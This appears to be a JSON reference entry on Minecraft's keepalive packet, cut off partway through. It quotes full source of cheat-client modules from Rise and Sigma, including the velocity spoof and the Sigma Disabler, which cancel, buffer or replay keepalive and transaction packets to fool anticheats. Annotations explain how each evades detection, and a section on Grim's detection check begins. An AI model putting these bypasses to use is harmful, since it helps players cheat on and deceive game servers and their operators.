    "protocol_notes": "PLAY state, id 0x00, one VarInt int key (server-tick counter in vanilla). Clientbound; the serverbound echo is C00PacketKeepAlive with the same id value but a different class in the opposite direction. The key is opaque to the client: modules that mutate or replay it rely on the server never validating beyond equality with the last sent key. Because it arrives constantly, it is also the cheapest packet for modules to use as a timing beacon.",
    "anticheat_landscape": "NCP and AAC track keepalive timing to separate real latency from timer abuse; a frozen or wildly inflated ping is a classic timer/fly tell. Verus-era checks correlate keepalive gaps with C0F transaction gaps, which is why the Rise 6.2.4 Watchdog modes cancel S00 and S32 together, and why Sigma's Erisium mode replays keys instead of cancelling outright: pure cancellation is strong but lethal on servers with keepalive timeouts. Debugger and NetworkAPI are observation-only and never flag.",
    "modules": [
     {
      "name": "Debugger",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Print incoming keepalive ids to chat so the user can observe the server's keepalive cadence while developing or tuning timing-based modules.",
      "how_it_works": "A PacketReceiveEvent handler checks instanceof S00PacketKeepAlive and prints 'KeepAlive | id: <key>' via Rise.addChatMessage; it prints S32PacketConfirmTransaction ids the same way. Rise 6.x gates the branch behind a keepAlive BooleanValue and formats through ChatUtil.display.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Debugger.java =====\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\n@ModuleInfo(name = \"Debugger\", description = \"Debugs packets\", category = Category.OTHER)\npublic final class Debugger extends Module {\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S32PacketConfirmTransaction) {\n            final S32PacketConfirmTransaction wrapper = ((S32PacketConfirmTransaction) packet);\n\n            Rise.addChatMessage(\"Transaction | id: \" + wrapper.getActionNumber());\n        }\n\n        if (packet instanceof S00PacketKeepAlive) {\n            final S00PacketKeepAlive wrapper = ((S00PacketKeepAlive) packet);\n\n            Rise.addChatMessage(\"KeepAlive | id: \" + wrapper.func_149134_c());\n        }\n    }\n}\n\n\n// NOTE (AI): Debugger never mutates the packet, so the vanilla echo in NetHandlerPlayClient.handleKeepAlive still fires and the ping EMA updates normally. It exists to expose keepalive cadence and ids in chat, which is exactly the information the authors needed when tuning the ping-spoof and disabler timings elsewhere in the client. The paired S32 logging shows keepalive and transaction were inspected together, matching the Verus-style correlation anti-cheats use.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Debugger.java",
      "vanilla_hook": "PacketReceiveEvent",
      "anti_cheat_notes": "None: observation only, no wire mutation, so the vanilla echo still fires and nothing is flagged.",
      "variations": "Rise 6.1.30 and 6.2.4 Debugger.java (lines 113-114) add the keepAlive BooleanValue toggle and switch to ChatUtil.display; both still read func_149134_c() for the id."
     },
     {
      "name": "WatchdogVelocity / WatchdogPredictionVelocity (keepalive cancel)",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "Cancel incoming keepalives while a velocity spoof is armed, so the server's timing probes stay silent during the window where the client holds velocity and transaction packets.",
      "how_it_works": "A PacketReceiveEvent switch: while active, S12PacketEntityVelocity and S32PacketConfirmTransaction are buffered and cancelled, and the S00PacketKeepAlive case either cancels outright (WatchdogVelocity, gated by a spoof BooleanValue) or buffers it on every third tick (WatchdogPredictionVelocity). On the strafe/boost trigger the buffer is replayed through PacketUtil.receive, restoring the keepalive and transaction sequence.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogPredictionVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.component.impl.player.BadPacketsComponent;\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.TargetComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.module.impl.movement.LongJump;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class WatchdogPredictionVelocity extends Mode<Velocity> {\n    public WatchdogPredictionVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n\n    private boolean active, receiving;\n    private int offGroundTicks;\n    private final ArrayList<Packet<?>> packets = new ArrayList<>();\n    private float desiredYaw;\n    private double velX, velZ;\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n\n\n        if (receiving || getModule(LongJump.class).isEnabled() && mc.thePlayer.offGroundTicks < 29 || getModule(Flight.class).isEnabled())\n            return;\n\n        switch (event.getPacket()) {\n            case S12PacketEntityVelocity velocity -> {\n\n                if (velocity.getEntityID() == mc.thePlayer.getEntityId()) {\n                    if (!event.isCancelled()) {\n                        active = true;\n                      //  packets.add(velocity);\n                        //  PingSpoofComponent.spoof(50, true, false, false, false, false, false);\n\n                     //   mc.thePlayer.motionY = velocity.getMotionY() / 8000.0D;\n                        active = true;\n                        // Calculate desiredYaw based on incoming velocity\n                        double velX = velocity.getMotionX() / 8000.0D;\n                        double velZ = velocity.getMotionZ() / 8000.0D;\n                        desiredYaw = (float) Math.toDegrees(Math.atan2(velZ, velX));\n\n                        // Adjust desiredYaw to match the player's yaw range (-180 to 180)\n                        if (desiredYaw < -180) desiredYaw += 360;\n                        if (desiredYaw > 180) desiredYaw -= 360;\n\n    packets.add(velocity);\n    event.setCancelled();\n\n                        this.velX = velX;\n                        this.velZ = velZ;\n\n                        velocity.motionY *= 1;\n\n                        event.setPacket(velocity);\n\n                    }\n\n\n                }\n\n            }\n\n            case S32PacketConfirmTransaction transaction -> {\n                if (active) {\n                    packets.add(transaction);\n                    event.setCancelled();\n                    //   active = false;\n                    // PingSpoofComponent.spoof(50, true, false, false, false, false, false);\n                }\n\n            }\n\n            case S00PacketKeepAlive keepAlive -> {\n                if (active) {\n                    if(mc.thePlayer.ticksExisted % 3 ==0){\n                   //     ChatUtil.display(\"added\");\n                        packets.add(keepAlive);\n                    }else{\n                   //     ChatUtil.display(\"lost\");\n                    }\n\n                    event.setCancelled();\n                }\n            }\n\n            default -> {\n            }\n        }\n\n    };\n\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        List<EntityLivingBase> targets = TargetComponent.getTargets(7);\n\n        if (targets.isEmpty()) return;\n\n\n\n\n        if(active && mc.thePlayer.onGround || receiving){\n            double cancelX = -this.velX;\n            double cancelZ = -this.velZ;\n          //  ChatUtil.display(\"s\");\n            mc.thePlayer.motionX = cancelX;\n            mc.thePlayer.motionZ = cancelZ;\n          //  event.setPosY(event.getPosY() -  1);\n\n        } else if(mc.thePlayer.onGround && mc.thePlayer.hurtTime > 7){\n\n\n            double cancelX = -this.velX;\n            double cancelZ = -this.velZ;\n          //  cancelX = Math.max(-1D, Math.min(1D, cancelX));\n          //  cancelZ = Math.max(-1D, Math.min(1D, cancelZ));\n          //  ChatUtil.display(\"s\");\n            mc.thePlayer.motionX *= cancelX;\n            mc.thePlayer.motionZ *= cancelZ;\n            mc.thePlayer.jump();\n        }\n    };\n\n\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n\n        if (active) {\n            // Get the player's current yaw\n            float playerYaw = mc.thePlayer.rotationYaw % 360F;\n            if (playerYaw < -180F) playerYaw += 360F;\n            if (playerYaw > 180F) playerYaw -= 360F;\n\n            // Calculate the difference between the player's yaw and desiredYaw\n            float yawDifference = Math.abs(playerYaw - desiredYaw);\n\n            // Define the leeway in degrees (e.g., 10 degrees)\n            float leeway = 20F;\n\n            // Check if the yaw difference is within the leeway\n            if (yawDifference <= leeway || yawDifference >= (360F - leeway)) {\n                // Process the packets to give a boost\n                receiving = true;\n                active = false;\n                ChatUtil.display(\"boost\");\n                packets.forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n                offGroundTicks = 0;\n\n            } else if(mc.thePlayer.onGround ) {\n              //  ChatUtil.display(\"jump reset\");\n                if(!mc.thePlayer.isJumping){\n                 //   mc.thePlayer.jump();\n                 //   ChatUtil.display(\"jump reset 2\");\n                }\n                mc.thePlayer.motionX *= -1D;\n                mc.thePlayer.motionZ *= -1D;\n                // If offGroundTicks exceed 11, release the packets when back on the ground\n\n\n                        receiving = true;\n                        active = false;\n                        packets.forEach(PacketUtil::receive);\n                        packets.clear();\n\n                        receiving = false;\n\n                    } else if (mc.thePlayer.offGroundTicks>12){\n                receiving = true;\n                active = false;\n                packets.forEach(PacketUtil::receive);\n                packets.clear();\n                mc.thePlayer.jump();\n                mc.thePlayer.motionX *= 0.6D;\n                mc.thePlayer.motionZ *= 0.6D;\n                receiving = false;\n            }\n\n\n        }\n    };\n}\n\n\n// NOTE (AI): The keepalive case runs only while the velocity spoof is armed: WatchdogPredictionVelocity buffers the packet on every third tick and cancels it otherwise, so the server's timing probe stays quiet during the spoof window. The buffered keepalive and transactions are replayed through PacketUtil.receive on the strafe trigger, which restores the S00/C00 and C0F sequencing the server expects. The cancelled keepalive means the vanilla echo never fires, so the server's ping EMA freezes for the duration of the spoof.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogPredictionVelocity.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, StrafeEvent",
      "anti_cheat_notes": "Suppressing keepalive echoes during a knockback spoof prevents the server from measuring a latency spike that correlates with the velocity cancel. Cancelling S00 and S32 together keeps the two timing references consistent, which matters because Verus-style checks correlate keepalive gaps with transaction gaps.",
      "variations": "WatchdogVelocity.java (line 125) cancels the keepalive without buffering it, gated by its own spoof BooleanValue and paired with S16/S15/S17 entity-look buffering; WatchdogPredictionVelocity adds the 3-tick buffering and yaw-based release logic."
     },
     {
      "name": "Disabler (Erisium keepalive replay)",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Freeze the server's ping measurement by cancelling C00 echoes and re-sending a stale captured key on a fixed 1500ms cadence.",
      "how_it_works": "The EventPacket receive handler intercepts S00PacketKeepAlive, stores func_149134_c() as lastKey, and arms the erisium flag. In EventUpdate, when erisium is set and the timer hits 1500ms, the module sends C00PacketKeepAlive(lastKey) via sendPacketNoEvent. The send-side branch cancels real C00 echoes in Faithful, Erisium, SagePvP and ColdNetwork modes.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Disabler.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.MoveUtils;\nimport info.sigmaclient.management.notifications.Notifications;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.movement.Phase;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemBook;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\n\npublic class Disabler extends Module {\n    String MODE = \"MODE\";\n    boolean faithful = false, watchdog = false, erisium = false;\n    Timer timer = new Timer();\n    int lastKey;\n    String mode;\n\n    public Disabler(ModuleData data) {\n        super(data);\n        settings.put(MODE, new Setting<>(MODE, new Options(\"Mode\", \"Hypixel\", new String[]{\"Hypixel\", \"Faithful\", \"Erisium\", \"SagePvP\", \"ColdNetwork\"}), \"Disabler method.\"));\n    }\n\n    @Override\n    public void onEnable() {\n        if (mc.theWorld == null)\n            return;\n        erisium = false;\n        timer.reset();\n        mode = ((Options) settings.get(MODE).getValue()).getSelected();\n        if (mode.equalsIgnoreCase(\"ViperMC\")) {\n            if (!MoveUtils.isOnGround(0.0001)) {\n                this.toggle();\n                Notifications.getManager().post(\"Disabler\", \"Try again on ground !\", Notifications.Type.WARNING);\n            }\n        }\n        if (mode.equalsIgnoreCase(\"Hypixel\")) {\n            if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {\n                double x = mc.thePlayer.posX;\n                double y = mc.thePlayer.posY;\n                double z = mc.thePlayer.posZ;\n                mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));\n                mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));\n                watchdog = true;\n                Notifications.getManager().post(\"Disabler\", \"Wait 5s.\", Notifications.Type.INFO);\n            } else {\n                watchdog = false;\n            }\n        } else if (mode.equalsIgnoreCase(\"Faithful\")) {\n            Notifications.getManager().post(\"Disabler\", \"Relog to disable Area 51.\", Notifications.Type.INFO);\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventUpdate.class, EventPacket.class})\n    public void onEvent(Event event) {\n        if (mode == null) {\n            mode = ((Options) settings.get(MODE).getValue()).getSelected();\n        }\n        if (!mode.equalsIgnoreCase(((Options) settings.get(MODE).getValue()).getSelected())) {\n\n            mode = ((Options) settings.get(MODE).getValue()).getSelected();\n            if (mode.equalsIgnoreCase(\"Faithful\")) {\n                Notifications.getManager().post(\"Disabler\", \"Relog to disable Area 51.\", Notifications.Type.INFO);\n            }\n        }\n        this.setSuffix(mode);\n        if (event instanceof EventUpdate) {\n            EventUpdate em = (EventUpdate) event;\n            if (em.isPre()) {\n                if (mc.thePlayer.ticksExisted <= 1) {\n                    erisium = false;\n                }\n                if (mode.equalsIgnoreCase(\"ViperMC\")) {\n                    if (timer.delay(3000)) {\n                        em.setY(mc.thePlayer.posY + 0.4);\n                        return;\n                    }\n                    for (int i = 0; i < 10; ++i) {\n                        boolean i2 = i > 2 && i < 8;\n                        double x = i2 ? 0.2 : -0.2D;\n                        C03PacketPlayer.C04PacketPlayerPosition packet = new C03PacketPlayer.C04PacketPlayerPosition(\n                                mc.thePlayer.posX, mc.thePlayer.posY + x, mc.thePlayer.posZ, true);\n                        mc.thePlayer.sendQueue.addToSendQueue(packet);\n                    }\n                }\n                if (mode.equalsIgnoreCase(\"Hypixel\"))\n                    if (!watchdog) {\n                        if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {\n                            double x = mc.thePlayer.posX;\n                            double y = mc.thePlayer.posY;\n                            double z = mc.thePlayer.posZ;\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));\n                            watchdog = true;\n                            Notifications.getManager().post(\"Disabler\", \"Please wait 5s.\", Notifications.Type.INFO);\n                        }\n                    } else {\n                        mc.thePlayer.motionX = 0;\n                        mc.thePlayer.motionY = 0;\n                        mc.thePlayer.motionZ = 0;\n                        mc.thePlayer.jumpMovementFactor = 0;\n                        mc.thePlayer.noClip = true;\n                        mc.thePlayer.onGround = false;\n                    }\n                if (mode.equalsIgnoreCase(\"Erisium\")) {\n                    if (erisium && timer.delay(1500)) {\n                        erisium = !erisium;\n                        mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C00PacketKeepAlive(lastKey));\n                    }\n                }\n\n            }\n        } else if (event instanceof EventPacket) {\n            EventPacket ep = (EventPacket) event;\n            Packet p = ep.getPacket();\n            if (ep.isPre()) {\n                if (p instanceof C03PacketPlayer) {\n                    if (mode.equalsIgnoreCase(\"Hypixel\") && watchdog) {\n                        ep.setCancelled(true);\n                    }\n                }\n                if (p instanceof S08PacketPlayerPosLook) {\n                    S08PacketPlayerPosLook pac = (S08PacketPlayerPosLook) ep.getPacket();\n                    pac.yaw = mc.thePlayer.rotationYaw;\n                    pac.pitch = mc.thePlayer.rotationPitch;\n                    if (watchdog && mode.equalsIgnoreCase(\"Hypixel\")) {\n                        Notifications.getManager().post(\"Disabler\", \"You can do what you want for 5s !\", Notifications.Type.INFO);\n                        this.toggle();\n                    }\n                }\n                if (p instanceof S00PacketKeepAlive) {\n                    S00PacketKeepAlive packet = (S00PacketKeepAlive) p;\n                    int KEY = packet.func_149134_c();\n                    if (mode.equalsIgnoreCase(\"Erisium\")) {\n                        timer.reset();\n                        erisium = true;\n                        lastKey = KEY;\n                    }\n                }\n                if (p instanceof C00PacketKeepAlive) {\n                    C00PacketKeepAlive packet = (C00PacketKeepAlive) p;\n                    if (mode.equalsIgnoreCase(\"Faithful\") || mode.equalsIgnoreCase(\"Erisium\") || mode.equalsIgnoreCase(\"SagePvP\") || mode.equalsIgnoreCase(\"ColdNetwork\")) {\n                        ep.setCancelled(true);\n                    }\n                }\n                if (p instanceof C0FPacketConfirmTransaction) {\n                    C0FPacketConfirmTransaction packet = (C0FPacketConfirmTransaction) p;\n                    int id = packet.getId();\n                    boolean accepted = packet.isAccepted();\n                    int uid = packet.getUid();\n                    if (id == 0 && accepted)\n                        if (mode.equalsIgnoreCase(\"SagePvP\") || mode.equalsIgnoreCase(\"ColdNetwork\")) {\n                            ep.setCancelled(true);\n                        }\n\n                }\n            }\n        }\n    }\n}\n\n\n// NOTE (AI): The S00PacketKeepAlive branch is the capture half of Erisium mode: it stores the key and arms the replay timer. The replay half lives in the EventUpdate handler, which every 1500ms pushes C00PacketKeepAlive(lastKey) through sendPacketNoEvent, bypassing the event bus. Because the send-side branch cancels the real echo, the server's key comparison keeps failing and the ping EMA never updates, freezing the tab-list ping instead of letting it grow.",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/Disabler.java",
      "vanilla_hook": "EventPacket (receive), EventUpdate (replay timer)",
      "anti_cheat_notes": "The stale key makes processKeepAlive drop the update silently, freezing ping with no packet-level anomaly. The periodic replay keeps the connection alive on servers that do track keepalive gaps, which pure cancellation cannot claim. The mode pairs with the transaction cancels in the same module (SagePvP/ColdNetwork) for servers that correlate the two.",
      "variations": "No other client in the corpus implements the capture-and-replay pattern on this packet; Rise 6.x and Memeware implement the same idea on the C00 send side instead."
     },
     {
      "name": "NetworkAPI (script registry)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose S00PacketKeepAlive to the JavaScript scripting API so user scripts can hook its receive event.",
      "how_it_works": "A static Class array named clientbound lists S00PacketKeepAlive.class alongside every other play-state server packet; the script engine maps the registered classes to receive events for script handlers. The corresponding serverbound array lists C00PacketKeepAlive.class for the send side.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n\n\n// NOTE (AI): This is the script bridge, not a gameplay module: S00PacketKeepAlive.class sits in the static clientbound registry that the engine uses to route receive events to JavaScript handlers. Scripts can therefore observe keepalive timing without touching Java, which makes it the scripting counterpart of the Debugger module. The registry spans the full play-state packet table, and the keepalive entry is what lets script-based ping spoofers exist in Rise 6.x.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "Script event dispatch (receive routing)",
      "anti_cheat_notes": "None: scripts run client-side and the registry itself never mutates packets; any flagging risk comes from what the script does with the event.",
      "variations": "Rise 6.1.30 ships the identical registry at com/alan/clients/script/api/NetworkAPI.java. No other client exposes this packet to a scripting layer."
     }
    ],
    "general_hooks": "PacketReceiveEvent is the universal hook for the clientbound S00. Rise 6.x uses @EventLink listeners; Sigma uses its RegisterEvent EventPacket bus; the script path routes through NetworkAPI's class registry.",
    "client_variations": "Rise 5.99 uses per-module onPacketReceive overrides; Rise 6.x uses component and @EventLink listener APIs with PacketUtil.receive/sendNoEvent for replay; Sigma mutates nothing on receive but stores the key for its send-side replay; Spicy, Memeware, Nekoware and Tenacity have no module-level reference in this corpus.",
    "related": [
     "C00PacketKeepAlive",
     "C0FPacketConfirmTransaction",
     "S32PacketConfirmTransaction",
     "S08PacketPlayerPosLook"
    ],
    "anticheat": {
     "overview": "S00 is the server's keep-alive probe: the client must echo the id back in C00. Anticheats use the round trip as their latency clock: the server records when it sent each id and when the matching reply arrives, which yields the player's ping and exposes ping-spoof, timer and connection-manipulation cheats. The corpus shows the same echo-tracking pattern at every scale, from the four-line ConnectionManager in Frequency to NCP's keepalive-frequency check with kick actions and Grim's validation that the replied id was actually sent.",
     "checks": [
      {
       "name": "BadPacketsO (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Flags keep-alive replies whose id was never sent by the server, the signature of a spoofed or replayed keep-alive stream.",
       "how_it_works": "Tracks every OUT keep-alive id in a queue. On the IN keep-alive reply, searches the queue for the id: a match removes the id (pruning the queue) and passes, while a reply with an unknown id flags and cancels the packet.",
       "detects": "Ping-spoof clients that fabricate keep-alive replies, and lag-switch or timer tools that replay stale ids.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/badpackets/BadPacketsO.java =====\npackage ac.grim.grimac.checks.impl.badpackets;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientKeepAlive;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerKeepAlive;\n\nimport java.util.LinkedList;\n\n@CheckData(name = \"BadPacketsO\", stableKey = \"grim.badpackets.invalid_keepalive\", description = \"Responded with a keepalive ID that was not sent by the server\")\npublic class BadPacketsO extends Check implements PacketReceiveListener, PacketSendListener {\n    private static final Verbose V = Verbose.of(\"id={slong}\");\n\n    private final LinkedList<Long> keepalives = new LinkedList<>();\n\n    public BadPacketsO(GrimPlayer player) {\n        super(player);\n    